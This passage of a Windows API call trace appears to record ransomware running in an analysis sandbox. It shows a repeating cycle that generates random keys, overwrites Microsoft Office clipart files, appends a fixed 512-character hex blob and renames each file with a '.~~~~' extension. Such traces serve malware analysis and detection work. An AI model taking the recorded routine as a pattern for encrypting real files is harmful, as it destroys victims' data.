	[0110.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0110.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808d40 | out: hHeap=0x300000) returned 1
	[0110.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943530
	[0110.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0110.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943530 | out: hHeap=0x300000) returned 1
	[0110.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b840
	[0110.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.341] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.341] GetLastError () returned 0x0
	[0110.341] GetLastError () returned 0x0
	[0110.342] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.342] GetLastError () returned 0x0
	[0110.342] GetLastError () returned 0x0
	[0110.345] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff490, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.345] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xb70, lpOverlapped=0x0) returned 1
	[0110.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.346] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.347] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.347] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.347] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.347] CloseHandle (hObject=0x130) returned 1
	[0110.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.348] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf.~~~~")) returned 1
	[0110.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.350] GetLastError () returned 0x0
	[0110.350] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0110.352] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.352] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.352] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23034252975) returned 1
	[0110.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xab62f7f0, dwHighDateTime=0x1d60e1e)) 
	[0110.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0110.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808d78
	[0110.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0110.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808d78 | out: hHeap=0x300000) returned 1
	[0110.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943530
	[0110.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0110.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943530 | out: hHeap=0x300000) returned 1
	[0110.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b8d8
	[0110.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.353] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.354] GetLastError () returned 0x0
	[0110.354] GetLastError () returned 0x0
	[0110.354] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.354] GetLastError () returned 0x0
	[0110.354] GetLastError () returned 0x0
	[0110.430] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe960, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.430] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x16a0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x16a0, lpOverlapped=0x0) returned 1
	[0110.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.502] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.502] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.503] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.503] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.503] CloseHandle (hObject=0x130) returned 1
	[0110.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c2bf8
	[0110.503] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf.~~~~")) returned 1
	[0110.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.504] GetLastError () returned 0x0
	[0110.505] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0110.506] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.506] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.506] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23049654227) returned 1
	[0110.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xab7ac5b0, dwHighDateTime=0x1d60e1e)) 
	[0110.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0110.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28090f8
	[0110.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28090f8 | out: hHeap=0x300000) returned 1
	[0110.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c2bf8
	[0110.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b970
	[0110.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.507] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.508] GetLastError () returned 0x0
	[0110.508] GetLastError () returned 0x0
	[0110.508] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.508] GetLastError () returned 0x0
	[0110.508] GetLastError () returned 0x0
	[0110.512] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.512] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0110.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.515] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.515] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.518] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.518] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.518] CloseHandle (hObject=0x130) returned 1
	[0110.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c2bf8
	[0110.518] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf.~~~~")) returned 1
	[0110.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.521] GetLastError () returned 0x0
	[0110.521] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0110.522] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.522] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.523] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23051284812) returned 1
	[0110.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xab7d2710, dwHighDateTime=0x1d60e1e)) 
	[0110.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0110.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9548
	[0110.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9548 | out: hHeap=0x300000) returned 1
	[0110.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c2bf8
	[0110.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c2f0
	[0110.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.524] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.524] GetLastError () returned 0x0
	[0110.524] GetLastError () returned 0x0
	[0110.524] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.524] GetLastError () returned 0x0
	[0110.524] GetLastError () returned 0x0
	[0110.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.529] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0110.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.530] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.530] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.530] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.530] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.530] CloseHandle (hObject=0x130) returned 1
	[0110.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c2bf8
	[0110.531] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf.~~~~")) returned 1
	[0110.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.532] GetLastError () returned 0x0
	[0110.533] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0110.534] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.534] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.534] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23052424668) returned 1
	[0110.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xab7f8870, dwHighDateTime=0x1d60e1e)) 
	[0110.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0110.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9580
	[0110.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9580 | out: hHeap=0x300000) returned 1
	[0110.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c2bf8
	[0110.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c388
	[0110.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.535] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.535] GetLastError () returned 0x0
	[0110.536] GetLastError () returned 0x0
	[0110.536] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.536] GetLastError () returned 0x0
	[0110.536] GetLastError () returned 0x0
	[0110.539] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffb17e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.539] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4e82, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x4e82, lpOverlapped=0x0) returned 1
	[0110.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.540] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.540] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.540] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.540] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.540] CloseHandle (hObject=0x130) returned 1
	[0110.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c2b50
	[0110.541] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf.~~~~")) returned 1
	[0110.541] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2b50 | out: hHeap=0x300000) returned 1
	[0110.541] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.541] GetLastError () returned 0x0
	[0110.542] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0110.543] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.543] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.544] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23053373661) returned 1
	[0110.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xab7f8870, dwHighDateTime=0x1d60e1e)) 
	[0110.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
